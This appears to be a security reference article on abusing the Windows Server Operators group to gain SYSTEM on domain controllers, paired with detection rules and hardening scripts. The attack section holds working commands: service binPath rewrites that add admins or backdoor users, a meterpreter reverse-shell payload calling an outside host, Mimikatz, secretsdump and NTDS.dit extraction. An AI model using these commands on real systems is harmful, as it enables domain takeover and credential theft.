
Server Operators Group Exploitation and Defense
Server Operators group exploitation including service manipulation, backup/restore abuse, and scheduled task creation for Windows privilege escalation.
Description
Server Operators is a built-in Active Directory group meant for people who look after servers, domain controllers included, without being Domain Admins. Members can do routine server administration, and the same rights give them an easy route to SYSTEM on a DC.
What the group gets by default:
- SeBackupPrivilege and SeRestorePrivilege, which let a member read and write files regardless of their ACLs
- SeShutdownPrivilege, for local and remote shutdown
- The right to log on locally to servers, domain controllers included
- Control over Windows services: start, stop and reconfigure
- Creating and managing network shares
The dangerous part is local logon to domain controllers combined with full control over services. A member can point a service at any command and start it, and the command runs as SYSTEM on the DC. From there the whole domain is theirs.
A built-in group one step from Domain Admin
Server Operators membership is a short path to SYSTEM on a domain controller. The DC holds the Active Directory database and runs domain authentication, so SYSTEM on a DC amounts to Domain Admin.
Impact
SYSTEM on a domain controller means the attacker can:
- Read NTDS.dit and pull every domain password hash
- Forge Kerberos TGTs (golden tickets) with the KRBTGT hash
- Change any AD object: users, groups, GPOs
- Move to any domain-joined host with administrative credentials
- Install persistence at the DC level, including services and drivers
- Shut down domain services
Because the group works directly on domain controllers, a single compromised member account is a domain compromise.
Technical details
Server Operators group overview
Default configuration:
- The group lives at
CN=Server Operators,CN=Builtin,DC=domain,DC=local - It is empty until someone adds members
- It matters mostly on domain controllers and member servers
Checking membership and privileges:
# Check Server Operators group members
Get-ADGroupMember -Identity "Server Operators"
# Verify user is member of Server Operators
whoami /groups | findstr "Server Operators"
# List privileges for current user
whoami /privRights that matter here:
- SeBackupPrivilege, read any file past its ACL
- SeRestorePrivilege, write any file past its ACL
- SeShutdownPrivilege, shut the system down
- SeChangeNotifyPrivilege, skip traverse checking
- Log on locally to domain controllers
SERVICE_ALL_ACCESSon Windows services, which is what the attack below uses
Service permissions
Server Operators holds SERVICE_ALL_ACCESS on services, so a member has every service access right: querying status and config, changing config, starting, stopping, pause/continue, interrogate and user-defined control.
The one that matters is SERVICE_CHANGE_CONFIG. It lets a member rewrite the service binary path, and a rewritten path is arbitrary command execution the next time the service starts.
Running the attack
Step 1: Confirm Server Operators membership
Confirm membership in the Server Operators group:
# Check group membership
whoami /groups
# Expected output includes:
# BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
# Verify privileges
whoami /priv
# Expected privileges:
# SeBackupPrivilege Disabled
# SeRestorePrivilege Disabled
# SeShutdownPrivilege Disabled
# SeChangeNotifyPrivilege EnabledStep 2: Enumerate target services
Identify Windows services that can be exploited for privilege escalation:
# List all services
Get-Service | Select-Object Name, DisplayName, Status, StartType
# Focus on services running as SYSTEM with SERVICE_DEMAND_START or SERVICE_AUTO_START
Get-WmiObject Win32_Service |
Where-Object {$_.StartMode -ne "Disabled" -and $_.StartName -eq "LocalSystem"} |
Select-Object Name, DisplayName, State, StartMode, PathNameA good target service runs as LocalSystem, has a Manual or Automatic start type, is not load-bearing enough to draw attention when it misbehaves, and has few dependencies. AppReadiness, AppMgmt, BITS, Browser, PerfHost and RemoteRegistry are usually safe picks.
Step 3: Confirm service permissions
Check that Server Operators really has full control over the target service.
With PsService (Sysinternals):
# Download PsService from Sysinternals Suite
# https://docs.microsoft.com/en-us/sysinternals/downloads/psservice
# Query service security descriptor
C:\Tools\PsService.exe security AppReadiness
# Expected output:
# SERVICE_NAME: AppReadiness
# DISPLAY_NAME: App Readiness
# ACCOUNT: LocalSystem
# SECURITY:
# [ALLOW] NT AUTHORITY\SYSTEM
# Query status
# Query Config
# Interrogate
# Enumerate Dependents
# Pause/Resume
# Start
# Stop
# User-Defined Control
# Read Permissions
# [ALLOW] BUILTIN\Administrators
# All
# [ALLOW] BUILTIN\Server Operators
# AllWith PowerShell:
# Function to check service permissions
Function Get-ServicePermissions {
param([string]$ServiceName)
$service = Get-WmiObject Win32_Service -Filter "Name='$ServiceName'"
if ($service) {
$sd = $service.GetSecurityDescriptor().Descriptor
$sd.DACL | Where-Object {$_.Trustee.Name -eq "Server Operators"} |
Select-Object @{N='Service';E={$ServiceName}}, @{N='AccessMask';E={$_.AccessMask}}, @{N='AceType';E={$_.AceType}}
}
}
Get-ServicePermissions -ServiceName "AppReadiness"With sc.exe:
# Query service configuration
sc qc AppReadiness
# Output:
# [SC] QueryServiceConfig SUCCESS
#
# SERVICE_NAME: AppReadiness
# TYPE : 20 WIN32_SHARE_PROCESS
# START_TYPE : 3 DEMAND_START
# ERROR_CONTROL : 1 NORMAL
# BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p
# LOAD_ORDER_GROUP :
# TAG : 0
# DISPLAY_NAME : App Readiness
# DEPENDENCIES :
# SERVICE_START_NAME : LocalSystemStep 4: Check the current local administrators
Confirm the target account is not already a local administrator:
# List local administrators
net localgroup Administrators
# Expected output (before exploitation):
# Alias name Administrators
# Comment Administrators have complete and unrestricted access to the computer/domain
#
# Members
# -------------------------------------------------------------------------------
# Administrator
# Domain Admins
# Enterprise Admins
# The command completed successfully.Step 5: Rewrite the service binary path
Point the service binary path at a command that adds the account to the local Administrators group:
# Modify AppReadiness service to add user to Administrators group
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
# Output:
# [SC] ChangeServiceConfig SUCCESS
# Verify the change
sc qc AppReadiness
# Output shows modified binary path:
# BINARY_PATH_NAME : cmd /c net localgroup Administrators server_adm /addOther payloads for the same binPath rewrite:
# Add user to Domain Admins (if on DC)
sc config AppReadiness binPath= "cmd /c net group 'Domain Admins' server_adm /add /domain"
# Create backdoor user
sc config AppReadiness binPath= "cmd /c net user backdoor P@ssw0rd123! /add && net localgroup Administrators backdoor /add"
# Execute reverse shell
sc config AppReadiness binPath= "C:\Tools\revshell.exe"
# Copy sensitive files
sc config AppReadiness binPath= "cmd /c copy C:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit"Step 6: Start the service
Start the service to fire the payload:
# Start the service
sc start AppReadiness
# Expected output:
# [SC] StartService FAILED 1053:
# The service did not respond to the start or control request in a timely fashion.That error is normal. cmd /c net localgroup... is not a real service binary, so the service control manager gives up on it after a timeout. The process still runs first, so the command executes before the SCM decides the service failed.
Step 7: Confirm the escalation
Check that the account landed in the local Administrators group:
# Check local administrators group
net localgroup Administrators
# Expected output (after exploitation):
# Alias name Administrators
# Comment Administrators have complete and unrestricted access to the computer/domain
#
# Members
# -------------------------------------------------------------------------------
# Administrator
# Domain Admins
# Enterprise Admins
# server_adm <-- Newly added
# The command completed successfully.Step 8: Restore the service (cleanup)
# Restore original service binary path
sc config AppReadiness binPath= "C:\Windows\System32\svchost.exe -k AppReadiness -p"
# Verify restoration
sc qc AppReadiness
# Restart service (optional)
sc start AppReadinessPost-exploitation
With local administrator access on a domain controller:
Pull credentials with secretsdump:
# Using Impacket from attacking machine
secretsdump.py server_adm:'password'@10.129.43.9 -just-dc-user administrator
# Output:
# Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
#
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
# [*] Kerberos keys grabbed
# Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
# Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
# Administrator:des-cbc-md5:d60dfbbf20548938Or Mimikatz on the DC itself:
# Execute Mimikatz with administrative privileges
.\mimikatz.exe
# Enable debug privilege
privilege::debug
# Dump LSASS credentials
sekurlsa::logonpasswords
# Dump cached domain credentials
lsadump::cache
# Perform DCSync attack
lsadump::dcsync /domain:corp.local /all /csvOther ways to use the access
Run a payload straight from the service instead of touching the Administrators group:
# Generate reverse shell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=443 -f exe -o revshell.exe
# Upload to target
copy revshell.exe \\DC01\C$\ProgramData\revshell.exe
# Modify service to execute reverse shell
sc config AppReadiness binPath= "C:\ProgramData\revshell.exe"
# Start service (payload executes as SYSTEM)
sc start AppReadinessChain a backdoor service off an existing one so it starts when the real service does:
# Create new service depending on existing service
sc create BackdoorSvc binPath= "C:\Tools\beacon.exe" start= auto
sc config BackdoorSvc depend= "AppReadiness"
# When AppReadiness starts, BackdoorSvc starts as wellOr run the service under a chosen account:
# Modify service to run as specific account
sc config AppReadiness obj= "DOMAIN\service_account" password= "ServiceP@ss!"
# Service now runs with domain account privilegesDetection
Detecting Server Operators exploitation requires monitoring service configuration changes and administrative group modifications.
Event Log Monitoring
Event ID 4719: System Audit Policy Changed
Monitors system-level security configuration changes:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4719)]]
</Select>
</Query>
</QueryList>Event ID 7040: Service Start Type Changed
Critical for detecting service configuration modifications:
<QueryList>
<Query Id="0" Path="System">
<Select Path="System">
*[System[(EventID=7040)]]
and
*[EventData[Data[@Name='param3']='demand start' or Data[@Name='param3']='auto start']]
</Select>
</Query>
</QueryList>Event ID 7045: New Service Installed
Detects installation of new services:
# Query for new service installations
Get-WinEvent -FilterHashtable @{LogName='System';ID=7045} |
Select-Object TimeCreated, @{N='ServiceName';E={$_.Properties[0].Value}}, @{N='ImagePath';E={$_.Properties[1].Value}}, @{N='Account';E={$_.Properties[4].Value}}Event ID 4732: Member Added to Local Group
Monitors additions to local Administrators group:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4732)]]
and
*[EventData[Data[@Name='TargetUserName']='Administrators']]
</Select>
</Query>
</QueryList>Event ID 4624: Account Logon
Monitor Server Operators members logging onto domain controllers:
# Track Server Operators logons to DCs
$ServerOps = Get-ADGroupMember -Identity "Server Operators" | Select-Object -ExpandProperty SamAccountName
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} |
Where-Object {$ServerOps -contains $_.Properties[5].Value -and $_.Properties[11].Value -like "*DC*"} |
Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='LogonType';E={$_.Properties[8].Value}}, @{N='Source';E={$_.Properties[18].Value}}Service Configuration Monitoring
Baseline Service Configurations:
# Create baseline of legitimate service configurations
Get-WmiObject Win32_Service |
Select-Object Name, DisplayName, PathName, StartMode, StartName, State |
Export-Csv -Path "C:\Baseline\Services_Baseline.csv" -NoTypeInformation
# Schedule daily comparison
Function Compare-ServiceBaseline {
$baseline = Import-Csv -Path "C:\Baseline\Services_Baseline.csv"
$current = Get-WmiObject Win32_Service | Select-Object Name, PathName, StartMode, StartName
foreach ($service in $current) {
$baselineService = $baseline | Where-Object {$_.Name -eq $service.Name}
if ($baselineService -and $baselineService.PathName -ne $service.PathName) {
Write-Warning "Service modified: $($service.Name)"
Write-Warning " Baseline: $($baselineService.PathName)"
Write-Warning " Current: $($service.PathName)"
# Send alert
$alert = @{
Service = $service.Name
BaselinePath = $baselineService.PathName
CurrentPath = $service.PathName
Timestamp = Get-Date
}
$alert | Export-Csv -Path "C:\Alerts\ServiceModifications.csv" -Append -NoTypeInformation
}
}
}Real-Time Service Monitoring:
# Monitor service configuration changes in real-time
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Service'"
Register-WmiEvent -Query $query -SourceIdentifier "ServiceMonitor" -Action {
$service = $Event.SourceEventArgs.NewEvent.TargetInstance
$oldPath = $Event.SourceEventArgs.NewEvent.PreviousInstance.PathName
$newPath = $service.PathName
if ($oldPath -ne $newPath) {
Write-Warning "Service $($service.Name) binary path changed from '$oldPath' to '$newPath'"
}
}SIEM Detection Rules
Splunk Detection Query:
# Server Operators privilege escalation detection
index=windows (EventCode=4732 OR EventCode=7040 OR EventCode=4624)
| eval GroupAdd=if(EventCode=4732 AND TargetUserName="Administrators", 1, 0)
| eval ServiceMod=if(EventCode=7040, 1, 0)
| eval ServerOpLogon=if(EventCode=4624 AND match(TargetUserName, "server_ops|server_adm"), 1, 0)
| transaction host maxspan=10m
| where GroupAdd=1 AND ServiceMod=1
| table _time, host, SubjectUserName, TargetUserName, ServiceName, ActionSigma Rule:
title: Server Operators Service Modification for Privilege Escalation
status: experimental
description: Detects service binary path modification followed by local admin group addition
logsource:
product: windows
service: system
detection:
selection_service:
EventID: 7040
selection_group:
EventID: 4732
TargetUserName: 'Administrators'
timeframe: 10m
condition: selection_service and selection_group
falsepositives:
- Legitimate administrative activities
- Automated deployment tools
level: high
tags:
- attack.privilege_escalation
- attack.t1543.003Azure Sentinel KQL:
// Server Operators exploitation detection
let ServerOpsMembers = IdentityInfo
| where GroupMembership has "Server Operators"
| distinct AccountName;
let ServiceMods = SecurityEvent
| where TimeGenerated > ago(15m)
| where EventID == 7040
| where SubjectUserName in (ServerOpsMembers)
| project TimeGenerated, Computer, SubjectUserName, ServiceName;
let GroupAdds = SecurityEvent
| where TimeGenerated > ago(15m)
| where EventID == 4732
| where TargetUserName == "Administrators"
| project TimeGenerated, Computer, MemberName, SubjectUserName;
ServiceMods
| join kind=inner (GroupAdds) on Computer
| where TimeGenerated - TimeGenerated1 between (0min .. 10min)
| project TimeGenerated, Computer, SubjectUserName, ServiceName, MemberName
| summarize Events=make_set(EventID) by Computer, SubjectUserNameRemediation
Immediate response focuses on removing unauthorized privileges and hunting for persistence.
Immediate Response Actions
Step 1: Identify Server Operators members
# List all Server Operators group members
Get-ADGroupMember -Identity "Server Operators" |
Select-Object Name, SamAccountName, objectClass, DistinguishedName
# Review membership history
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4728} |
Where-Object {$_.Message -like "*Server Operators*"} |
Select-Object TimeCreated, @{N='AddedUser';E={($_.Message -split "`n" | Select-String "Member:").ToString().Split(":")[1].Trim()}}Step 2: Remove unauthorized members
# Remove suspicious or unauthorized members
Remove-ADGroupMember -Identity "Server Operators" -Members "suspicious_user" -Confirm:$true
# Disable compromised accounts
Disable-ADAccount -Identity "suspicious_user"
# Force password reset
Set-ADAccountPassword -Identity "suspicious_user" -NewPassword (ConvertTo-SecureString "TempP@ss123!" -AsPlainText -Force) -Reset
Set-ADUser -Identity "suspicious_user" -ChangePasswordAtLogon $trueStep 3: Audit service configurations
# Check for suspicious service modifications
Get-WinEvent -FilterHashtable @{LogName='System';ID=7040;StartTime=(Get-Date).AddDays(-7)} |
Select-Object TimeCreated, @{N='Service';E={$_.Properties[0].Value}}, @{N='StartType';E={$_.Properties[2].Value}}, @{N='User';E={$_.Properties[3].Value}}
# Review current service binary paths for cmd.exe or suspicious executables
Get-WmiObject Win32_Service |
Where-Object {$_.PathName -like "*cmd /c*" -or $_.PathName -like "*net *" -or $_.PathName -like "*powershell*"} |
Select-Object Name, PathName, StartName, StateStep 4: Restore modified services
# Restore service to original configuration
# Example: AppReadiness service
sc config AppReadiness binPath= "C:\Windows\System32\svchost.exe -k AppReadiness -p"
sc config AppReadiness start= demand
sc config AppReadiness obj= LocalSystem
# Verify restoration
sc qc AppReadinessStep 5: Remove unauthorized administrators
# Review local Administrators group on domain controllers
net localgroup Administrators
# Remove unauthorized members
net localgroup Administrators server_adm /delete
# Review domain-level admin groups
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName
Get-ADGroupMember -Identity "Enterprise Admins" | Select-Object Name, SamAccountName
# Remove unauthorized domain admins
Remove-ADGroupMember -Identity "Domain Admins" -Members "unauthorized_user" -Confirm:$trueStep 6: Hunt for persistence
# Scheduled tasks
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*server_adm*" -or $_.Date -gt (Get-Date).AddDays(-7)} |
Select-Object TaskName, TaskPath, Actions, Principal
# Services configured for persistence
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike "*system32*" -and $_.StartMode -eq "Automatic"} |
Select-Object Name, PathName, StartName, State
# Registry Run keys
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
# Check for unauthorized accounts
Get-ADUser -Filter * -Properties WhenCreated | Where-Object {$_.WhenCreated -gt (Get-Date).AddDays(-7)} |
Select-Object Name, SamAccountName, WhenCreated, EnabledLonger-term mitigation
1. Restrict Server Operators Group Membership
# Document legitimate use cases for Server Operators
# If no legitimate need exists, keep group empty
# Implement approval workflow for membership changes
Function Request-ServerOperatorsAccess {
param(
[string]$Username,
[string]$Justification,
[string]$Approver
)
# Create approval request
$request = @{
Timestamp = Get-Date
Username = $Username
Justification = $Justification
Approver = $Approver
Status = "Pending"
}
$request | Export-Csv -Path "C:\Requests\ServerOpsAccess.csv" -Append -NoTypeInformation
# Send approval email
Send-MailMessage -To $Approver -Subject "Server Operators Access Request" -Body "User $Username requests Server Operators access. Justification: $Justification"
}
# Quarterly access review
Function Invoke-ServerOpsAccessReview {
$members = Get-ADGroupMember -Identity "Server Operators"
$report = $members | Select-Object Name, SamAccountName, @{N='LastLogon';E={(Get-ADUser $_.SamAccountName -Properties LastLogonDate).LastLogonDate}}
$report | Export-Csv -Path "C:\Reports\ServerOps_AccessReview_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
# Send for manager review
Send-MailMessage -To "security@corp.com" -Subject "Server Operators Quarterly Review" -Attachments "C:\Reports\ServerOps_AccessReview_*.csv"
}2. Implement Service Control Restrictions
# Remove Server Operators from service permissions (if not needed)
# This requires modifying default security descriptors
# Query current service security
sc sdshow AppReadiness
# Modify service security descriptor to remove Server Operators
# WARNING: This can break legitimate functionality
# Alternative: Monitor service changes instead of preventing them3. Enable Enhanced Service Auditing
# Enable service modification auditing
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
# Configure via Group Policy
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy
# "Audit Security System Extension" = Success and Failure
# "Audit System Integrity" = Success and Failure4. Deploy File Integrity Monitoring
# Monitor service configuration files
$servicePaths = Get-WmiObject Win32_Service | Select-Object -ExpandProperty PathName -Unique
# Create file system watcher for service binaries
foreach ($path in $servicePaths) {
$cleanPath = ($path -split " ")[0].Trim('"')
if (Test-Path $cleanPath) {
# Implement FIM for each service binary
# Tools: Tripwire, AIDE, OSSEC
}
}5. Restrict Domain Controller Logon Rights
# Remove Server Operators from DC logon rights (if not needed)
# Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
# "Allow log on locally" = Remove "Server Operators"
# "Deny log on locally" = Add "Server Operators" (if appropriate)
# Apply to Domain Controllers OU
New-GPO -Name "Restrict DC Logons" | New-GPLink -Target "OU=Domain Controllers,DC=corp,DC=local"6. Implement Just-In-Time (JIT) Privileged Access
# Create time-limited Server Operators membership
Function Grant-TemporaryServerOpsAccess {
param(
[string]$Username,
[int]$DurationHours = 4,
[string]$Ticket
)
# Add to Server Operators
Add-ADGroupMember -Identity "Server Operators" -Members $Username
# Log the grant
@{
Timestamp = Get-Date
User = $Username
Duration = $DurationHours
Ticket = $Ticket
GrantedBy = $env:USERNAME
} | Export-Csv -Path "C:\Logs\ServerOpsAccess.csv" -Append -NoTypeInformation
# Schedule automatic removal
$removalTime = (Get-Date).AddHours($DurationHours)
$action = {
param($user)
Remove-ADGroupMember -Identity "Server Operators" -Members $user -Confirm:$false
Write-EventLog -LogName Application -Source "ServerOpsManager" -EventId 1001 -Message "Removed $user from Server Operators (time-limited access expired)"
}
$trigger = New-JobTrigger -Once -At $removalTime
Register-ScheduledJob -Name "RemoveServerOps_$Username" -Trigger $trigger -ScriptBlock $action -ArgumentList $Username
}Prevention
Organizational Security Framework
Server Operators Group Hardening
Minimize and Monitor Membership:
# Implement Zero Standing Privilege (ZSP) model
# Keep Server Operators empty by default
# Grant access only when needed via JIT
# Automated compliance checking
Function Test-ServerOpsCompliance {
param([string[]]$AuthorizedMembers = @())
$current = Get-ADGroupMember -Identity "Server Operators" | Select-Object -ExpandProperty SamAccountName
$unauthorized = $current | Where-Object {$_ -notin $AuthorizedMembers}
if ($unauthorized) {
Write-Error "COMPLIANCE VIOLATION: Unauthorized Server Operators members detected"
$unauthorized | ForEach-Object {Write-Error " - $_"}
# Automated remediation (with approval)
foreach ($member in $unauthorized) {
Remove-ADGroupMember -Identity "Server Operators" -Members $member -Confirm:$true
}
# Alert security team
Send-MailMessage -To "security@corp.com" -Subject "Server Operators Compliance Alert" -Body "Unauthorized members: $($unauthorized -join ', ')"
return $false
}
return $true
}
# Schedule hourly compliance checks
$trigger = New-JobTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([TimeSpan]::MaxValue)
Register-ScheduledJob -Name "ServerOpsComplianceCheck" -Trigger $trigger -ScriptBlock ${Function:Test-ServerOpsCompliance}Service Configuration Protection
Implement Service Baselines and Monitoring:
# Create and maintain service configuration baselines
Function New-ServiceBaseline {
Get-WmiObject Win32_Service |
Select-Object Name, PathName, StartMode, StartName, State, Description |
Export-Csv -Path "C:\Baseline\Services_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
# Create hash of baseline for integrity verification
$hash = Get-FileHash -Path "C:\Baseline\Services_$(Get-Date -Format 'yyyyMMdd').csv" -Algorithm SHA256
$hash | Export-Csv -Path "C:\Baseline\Services_Hash.csv" -NoTypeInformation
}
# Real-time service protection using WMI events
Function Enable-ServiceProtection {
$query = @"
SELECT * FROM __InstanceModificationEvent WITHIN 2
WHERE TargetInstance ISA 'Win32_Service'
AND TargetInstance.PathName <> PreviousInstance.PathName
"@
Register-WmiEvent -Query $query -SourceIdentifier "ServiceProtection" -Action {
$service = $Event.SourceEventArgs.NewEvent.TargetInstance
$oldPath = $Event.SourceEventArgs.NewEvent.PreviousInstance.PathName
Write-Warning "ALERT: Service $($service.Name) binary path changed!"
Write-Warning " Old: $oldPath"
Write-Warning " New: $($service.PathName)"
# Log to SIEM
Write-EventLog -LogName Application -Source "ServiceProtection" -EventId 2001 -EntryType Warning -Message "Service $($service.Name) modified. Old path: $oldPath, New path: $($service.PathName)"
# Optional: Automatic revert (dangerous - test thoroughly)
# sc config $($service.Name) binPath= $oldPath
}
}Principle of least privilege
Granular Permission Assignment:
# Instead of Server Operators, create custom groups with specific permissions
# Example: Create "Printer Managers" group
New-ADGroup -Name "Printer Managers" -GroupScope Global -GroupCategory Security -Description "Manage print services only"
# Grant only print service permissions (via GPO or service ACLs)
# Do NOT grant SeBackupPrivilege or local logon to DCs
# Example: Create "Service Restart" group for specific services
New-ADGroup -Name "Service Restart - WebApps" -GroupScope Global -GroupCategory Security
# Grant only START and STOP permissions on specific services
# Use sc sdset or Set-Service with custom security descriptorsContinuous monitoring and alerting
One loop that watches membership, service changes and admin-group changes together:
# Centralized monitoring script
Function Start-ServerOpsMonitoring {
while ($true) {
# Monitor group membership
$members = Get-ADGroupMember -Identity "Server Operators"
if ($members.Count -gt 0) {
Write-Warning "Server Operators has $($members.Count) members"
$members | ForEach-Object {Write-Warning " - $($_.Name)"}
}
# Monitor service modifications
$serviceEvents = Get-WinEvent -FilterHashtable @{LogName='System';ID=7040;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue
if ($serviceEvents) {
foreach ($event in $serviceEvents) {
$serviceName = $event.Properties[0].Value
$user = $event.Properties[3].Value
Write-Warning "Service '$serviceName' modified by $user"
}
}
# Monitor local admin changes
$adminEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4732;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -like "*Administrators*"}
if ($adminEvents) {
foreach ($event in $adminEvents) {
Write-Error "Local Administrators group modified!"
Write-Error " Member added: $($event.Properties[0].Value)"
}
}
Start-Sleep -Seconds 60
}
}
# Run in background
Start-Job -ScriptBlock ${Function:Start-ServerOpsMonitoring} -Name "ServerOpsMonitor"Verification
Validate Security Posture
Verify Group Membership
# Check Server Operators is empty or contains only authorized members
Get-ADGroupMember -Identity "Server Operators"
# Expected: Empty or documented authorized members onlyAudit Service Configurations
# Verify no suspicious service modifications exist
Get-WmiObject Win32_Service |
Where-Object {$_.PathName -like "*cmd*" -or $_.PathName -like "*net *" -or $_.PathName -like "*powershell*"} |
Select-Object Name, PathName, StartName
# Expected: No resultsTest the detection
Controlled Testing (Authorized Only):
# In isolated test environment, simulate attack
# Add test user to Server Operators
Add-ADGroupMember -Identity "Server Operators" -Members "testuser"
# Attempt service modification
sc config AppReadiness binPath= "cmd /c echo Test"
# Verify alerts are generated in SIEM within 5 minutes
# Confirm incident response procedures trigger
# Cleanup
Remove-ADGroupMember -Identity "Server Operators" -Members "testuser" -Confirm:$false
sc config AppReadiness binPath= "C:\Windows\System32\svchost.exe -k AppReadiness -p"Verify Auditing Configuration
# Check audit policy settings
auditpol /get /subcategory:"Security System Extension"
auditpol /get /subcategory:"System Integrity"
# Expected: Success and Failure enabledAdvanced Considerations
Other exploitation paths
SeBackupPrivilege Abuse:
Server Operators also possess SeBackupPrivilege, enabling NTDS.dit extraction:
# Using SeBackupPrivilege to copy protected files
diskshadow /s backup.txt
# backup.txt contents:
# set context persistent nowriters
# add volume c: alias vss
# create
# expose %vss% z:
# exit
# Copy NTDS.dit using backup semantics
robocopy /b z:\Windows\NTDS c:\Temp ntds.dit
robocopy /b z:\Windows\System32\config c:\Temp SYSTEMRemote Service Manipulation:
# Modify services on remote servers (if permissions allow)
sc \\FILESERVER01 config "Service Name" binPath= "cmd /c net user backdoor P@ss! /add"
sc \\FILESERVER01 start "Service Name"Cloud and hybrid notes
Server Operators group is specific to on-premises Active Directory and does not directly translate to Azure AD. However:
- Hybrid environments with Azure AD Connect remain vulnerable
- On-premises domain compromise affects Azure AD via synchronization
- Implement Conditional Access policies to limit sync account exposure
References
MITRE ATT&CK Techniques
- T1543.003 - Create or Modify System Process: Windows Service - Service binary path modification
- T1574.010 - Hijack Execution Flow: Services File Permissions Weakness - Service executable manipulation
- T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness - Service configuration abuse
- T1003.003 - OS Credential Dumping: NTDS - NTDS.dit extraction via SeBackupPrivilege
- T1003.002 - OS Credential Dumping: Security Account Manager - SAM database access
- T1134 - Access Token Manipulation - Token impersonation for privilege escalation
- T1078.002 - Valid Accounts: Domain Accounts - Abuse of legitimate domain credentials
Common Weakness Enumeration
- CWE-269 - Improper Privilege Management - Excessive privileges in built-in groups
- CWE-250 - Execution with Unnecessary Privileges - Service control rights abuse
- CWE-732 - Incorrect Permission Assignment for Critical Resource - Service ACL weaknesses
Microsoft Documentation
- Microsoft: Server Operators Group - Group capabilities and rights
- Microsoft: Service Security and Access Rights - Service ACL documentation
- Microsoft: Security Identifiers - Built-in SIDs reference
Security Resources
- HackTricks: Privileged Groups - Exploitation techniques
- SANS: Windows Privilege Escalation - Escalation guide
- PayloadsAllTheThings: Windows PrivEsc - Service exploitation methods
Tools Documentation
- Impacket: secretsdump.py - DCSync and credential extraction
- PsService - Sysinternals - Service security enumeration
- Mimikatz - Windows credential extraction
Next steps
If you find a populated Server Operators group, audit the membership and strip accounts that have no reason to be there. Keep the group empty by default and grant access just in time when someone genuinely needs it. Add service-change monitoring with alerts, and turn on auditing for service modifications and privileged-group changes.
Related techniques:
Windows Privilege Escalation via SeImpersonatePrivilege
Abusing SeImpersonatePrivilege for local privilege escalation to SYSTEM with JuicyPotato, PrintSpoofer, RoguePotato and GodPotato, plus detection.
Windows Service Binary Hijacking for Privilege Escalation
Exploiting weak permissions on Windows service binaries for privilege escalation, with enumeration, exploitation, detection and hardening.